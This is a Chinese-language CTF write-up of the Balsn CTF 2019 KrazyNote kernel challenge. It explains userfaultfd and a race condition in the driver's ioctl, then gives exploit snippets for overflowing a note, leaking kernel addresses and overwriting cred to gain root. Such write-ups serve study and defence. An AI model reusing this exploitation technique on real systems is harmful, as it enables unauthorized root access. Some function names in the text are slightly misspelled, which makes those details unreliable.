【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote
字数 1634 2025-08-24 20:49:22

Linux内核userfaultfd机制与KrazyNote漏洞利用分析

一、背景知识

1. 内核提权基础

内核提权通常需要修改task_struct中的cred结构:

  • commit_cred(prepare_kernel_creds(0))可以自动找到并修改cred结构
  • SMEP防护:防止内核态执行用户态代码,可通过ROP绕过
  • SMAP防护:防止内核态使用用户态数据,可通过copy_from_usercopy_to_user绕过

2. 内存管理基础

页和虚拟内存

  • 内核内存主要分为RAM和交换区
  • 虚拟地址通过页表映射到物理地址
  • 64位系统中虚拟页和物理页大小均为0x1000字节

页调度与延迟加载

  • mmap创建的内存映射页在首次访问前不会实际分配物理页
  • 首次访问时会:
    1. 创建物理帧
    2. 从文件读取内容或清零(堆映射)
    3. 设置页表项

别名页(Alias pages)

  • 物理帧通常有两个虚拟页映射:主映射和别名映射
  • 别名页地址格式:SOME_OFFSET + physical address
  • page_offset_base就是这个SOME_OFFSET

3. userfaultfd机制

userfaultfd允许用户空间处理页错误,关键步骤:

1. 创建uffd描述符

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

2. 注册监视区域

struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

3. 创建处理线程

pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);

4. 处理缺页事件

static void *fault_handler_thread(void *arg) {
    struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;
    
    read(uffd, &msg, sizeof(msg));  // 读取缺页信息
    assert(msg.event == UFFD_EVENT_PAGEFAULT);
    
    // 设置拷贝参数
    uffdio_copy.src = (unsigned long)page;
    uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size-1);
    uffdio_copy.len = page_size;
    ioctl(uffd, UFFDIO_COPY, &uffdio_copy);  // 处理缺页
}

二、KrazyNote漏洞分析

1. 驱动结构

struct miscdevice {
    int minor;
    const char *name;
    const struct file_operations *fops;
    // ...其他字段
};

struct file_operations {
    // ...其他函数指针
    long (*unlocked_ioctl)(struct file *, unsigned int, unsigned long);
    // ...其他函数指针
};

驱动只实现了openunlocked_ioctl操作,后者没有使用内核同步锁,存在竞争条件风险。

2. 关键数据结构

struct noteRequest {  // 用户参数
    size_t idx;
    size_t length;
    size_t userptr;
};

struct note {  // 内核note结构
    unsigned long key;       // 加密密钥
    unsigned char length;    // 内容长度
    void *contentPtr;        // 内容指针(相对page_offset_base)
    char content[];          // 实际内容
};

3. 漏洞点

竞争条件存在于edit操作中:

  1. 线程1开始edit note0(长度0x10)
  2. copy_from_user访问用户空间时触发缺页
  3. 线程2趁机:
    • 删除所有note
    • 创建note0(长度0)
    • 创建note1(长度0)
  4. 线程1恢复执行,仍按原长度(0x10)写入,覆盖note1的length字段

三、漏洞利用

1. 利用步骤

(1) 触发溢出

  1. 创建note0(长度0x10)
  2. 注册userfaultfd监视0x1337000地址
  3. 对note0执行edit,userptr指向0x1337000
  4. 在缺页处理中:
    • 删除所有note
    • 创建两个长度为0的note
  5. 恢复edit操作,覆盖note1的length为0xf0

(2) 信息泄露

  1. 泄露key:读取note1的NULL内容,解密后得到key
  2. 泄露module基址
    • 读取note1的contentPtr(相对page_offset_base)
    • 计算得到.bss段地址,进而得到module基址
  3. 泄露page_offset_base
    • 读取.text段中mov r12, cs:page_offset_base指令的偏移
    • 计算page_offset_base的实际地址并读取其值
  4. 泄露内核基址
    • 读取.text段中call _copy_from_user的偏移
    • 计算得到copy_from_user函数地址,进而得到内核基址

(3) 提权

  1. 使用prctl设置进程名,在内核内存中搜索
  2. 找到task_struct结构,定位cred结构
  3. 修改cred结构实现提权

2. 关键代码片段

// 触发竞争条件
create(buffer, 0x10);  // note0
register_userfault();  // 注册缺页处理
edit(0, FAULT_PAGE, 1); // 触发缺页

// 在handler线程中:
delete();  // 删除所有note
create(buffer, 0);  // 重新创建note0
create(buffer, 0);  // 创建note1
// 恢复edit操作时会溢出修改note1的length

// 泄露key
show(1, buffer);
unsigned long key = *(unsigned long*)buffer;

// 泄露module基址
show(1, buffer);
unsigned long bss_addr = *(unsigned long*)(buffer + 0x10) ^ key;
unsigned long module_base = bss_addr - 0x2568;

// 修改cred提权
fake_note[0] = 0 ^ key;
fake_note[1] = 0x28 ^ key; 
fake_note[2] = (task[-2] + 4 - base_addr) ^ key;  // cred地址
edit(1, buffer, 0x18);
int fake_cred[8] = {0};
edit(2, (char*)fake_cred, 0x28);  // 清零cred

四、补充说明

  1. 替代提权方法:当无法修改cred时,可以修改modprobe_path实现提权
  2. 环境问题
    • 打包时注意/bin/busybox权限
    • 可使用uclibc编译减小二进制体积
  3. 文件上传:可通过base64分段上传exploit到目标系统

五、防御建议

  1. 对共享资源使用适当的锁机制
  2. 检查用户提供的长度参数
  3. 避免在关键操作中使用可能阻塞的函数(如copy_from_user)
  4. 启用KASLR等防护机制增加利用难度

通过分析此漏洞,我们可以深入理解userfaultfd在内核漏洞利用中的作用,以及如何利用竞争条件实现内核提权。

Linux内核userfaultfd机制与KrazyNote漏洞利用分析 一、背景知识 1. 内核提权基础 内核提权通常需要修改 task_struct 中的 cred 结构: commit_cred(prepare_kernel_creds(0)) 可以自动找到并修改cred结构 SMEP防护:防止内核态执行用户态代码,可通过ROP绕过 SMAP防护:防止内核态使用用户态数据,可通过 copy_from_user 和 copy_to_user 绕过 2. 内存管理基础 页和虚拟内存 内核内存主要分为RAM和交换区 虚拟地址通过页表映射到物理地址 64位系统中虚拟页和物理页大小均为0x1000字节 页调度与延迟加载 mmap 创建的内存映射页在首次访问前不会实际分配物理页 首次访问时会: 创建物理帧 从文件读取内容或清零(堆映射) 设置页表项 别名页(Alias pages) 物理帧通常有两个虚拟页映射:主映射和别名映射 别名页地址格式: SOME_OFFSET + physical address page_offset_base 就是这个 SOME_OFFSET 3. userfaultfd机制 userfaultfd允许用户空间处理页错误,关键步骤: 1. 创建uffd描述符 2. 注册监视区域 3. 创建处理线程 4. 处理缺页事件 二、KrazyNote漏洞分析 1. 驱动结构 驱动只实现了 open 和 unlocked_ioctl 操作,后者没有使用内核同步锁,存在竞争条件风险。 2. 关键数据结构 3. 漏洞点 竞争条件存在于edit操作中: 线程1开始edit note0(长度0x10) 在 copy_from_user 访问用户空间时触发缺页 线程2趁机: 删除所有note 创建note0(长度0) 创建note1(长度0) 线程1恢复执行,仍按原长度(0x10)写入,覆盖note1的length字段 三、漏洞利用 1. 利用步骤 (1) 触发溢出 创建note0(长度0x10) 注册userfaultfd监视0x1337000地址 对note0执行edit,userptr指向0x1337000 在缺页处理中: 删除所有note 创建两个长度为0的note 恢复edit操作,覆盖note1的length为0xf0 (2) 信息泄露 泄露key :读取note1的NULL内容,解密后得到key 泄露module基址 : 读取note1的contentPtr(相对page_ offset_ base) 计算得到.bss段地址,进而得到module基址 泄露page_ offset_ base : 读取.text段中 mov r12, cs:page_offset_base 指令的偏移 计算page_ offset_ base的实际地址并读取其值 泄露内核基址 : 读取.text段中 call _copy_from_user 的偏移 计算得到copy_ from_ user函数地址,进而得到内核基址 (3) 提权 使用prctl设置进程名,在内核内存中搜索 找到task_ struct结构,定位cred结构 修改cred结构实现提权 2. 关键代码片段 四、补充说明 替代提权方法 :当无法修改cred时,可以修改 modprobe_path 实现提权 环境问题 : 打包时注意 /bin/busybox 权限 可使用uclibc编译减小二进制体积 文件上传 :可通过base64分段上传exploit到目标系统 五、防御建议 对共享资源使用适当的锁机制 检查用户提供的长度参数 避免在关键操作中使用可能阻塞的函数(如copy_ from_ user) 启用KASLR等防护机制增加利用难度 通过分析此漏洞,我们可以深入理解userfaultfd在内核漏洞利用中的作用,以及如何利用竞争条件实现内核提权。